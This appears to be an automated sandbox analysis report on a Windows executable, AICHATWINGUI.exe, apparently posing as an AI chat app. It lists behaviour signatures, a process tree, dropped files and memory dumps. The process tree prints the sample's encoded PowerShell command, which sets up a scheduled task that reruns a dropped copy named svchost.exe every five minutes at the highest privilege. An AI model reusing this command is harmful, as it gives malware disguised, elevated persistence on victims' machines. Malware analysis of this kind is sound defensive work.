Analysis

  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    901s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/08/2026, 14:26

General

  • Target
    AICHATWINGUI.exe
  • Size 428KB
  • Sample260831-rr3ftstdqh
  • SHA256 33a19a40d79dd943444a5f72ceb0f68605637dfbe4648d094f05e5bd4712d071
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe
    "C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwApACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAANQApACkAIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0AUwBlAGMAbwBuAGQAcwAgADAAKQAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAKQAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:1216
    • C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe
      "C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      PID:5736
    • C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe
      "C:\Users\Admin\AppData\Local\Temp\AICHATWINGUI.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      PID:2804
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4052
    • C:\Users\Admin\AppData\Roaming\svchost.exe
      C:\Users\Admin\AppData\Roaming\svchost.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4680

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          AICHATWINGUI.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AICHATWINGUI.exe.log
          • Size 425B
          • SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_lnrvgqyk.zf1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lnrvgqyk.zf1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          svchost.exe

          • Path C:\Users\Admin\AppData\Roaming\svchost.exe
          • Size 428KB
          • SHA256 33a19a40d79dd943444a5f72ceb0f68605637dfbe4648d094f05e5bd4712d071
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/4488-1-0x0000000002E70000-0x0000000002E80000-memory.dmp

          memory/4488-2-0x0000000002EA0000-0x0000000002EB8000-memory.dmp

          memory/4488-3-0x0000000005320000-0x000000000534A000-memory.dmp

          memory/4488-43-0x0000000002E70000-0x0000000002E80000-memory.dmp

          memory/4488-0-0x0000000000920000-0x0000000000992000-memory.dmp

          memory/4508-20-0x0000000006110000-0x000000000615C000-memory.dmp

          memory/4508-32-0x0000000006690000-0x00000000066AE000-memory.dmp

          memory/4508-10-0x00000000059D0000-0x0000000005A36000-memory.dmp

          memory/4508-8-0x0000000005840000-0x0000000005862000-memory.dmp

          memory/4508-18-0x0000000005A40000-0x0000000005D94000-memory.dmp

          memory/4508-19-0x00000000060F0000-0x000000000610E000-memory.dmp

          memory/4508-7-0x0000000005190000-0x00000000057B8000-memory.dmp

          memory/4508-21-0x000000007FA10000-0x000000007FA20000-memory.dmp

          memory/4508-22-0x00000000066B0000-0x00000000066E2000-memory.dmp

          memory/4508-23-0x00000000710B0000-0x00000000710FC000-memory.dmp

          memory/4508-25-0x0000000004B50000-0x0000000004B60000-memory.dmp

          memory/4508-9-0x0000000005960000-0x00000000059C6000-memory.dmp

          memory/4508-33-0x00000000072B0000-0x0000000007353000-memory.dmp

          memory/4508-34-0x0000000007A60000-0x00000000080DA000-memory.dmp

          memory/4508-35-0x0000000007420000-0x000000000743A000-memory.dmp

          memory/4508-36-0x0000000007480000-0x000000000748A000-memory.dmp

          memory/4508-37-0x0000000007690000-0x0000000007726000-memory.dmp

          memory/4508-38-0x0000000007620000-0x0000000007631000-memory.dmp

          memory/4508-39-0x0000000004B50000-0x0000000004B60000-memory.dmp

          memory/4508-6-0x0000000004B50000-0x0000000004B60000-memory.dmp

          memory/4508-5-0x0000000002A70000-0x0000000002AA6000-memory.dmp

          memory/4508-4-0x0000000004B50000-0x0000000004B60000-memory.dmp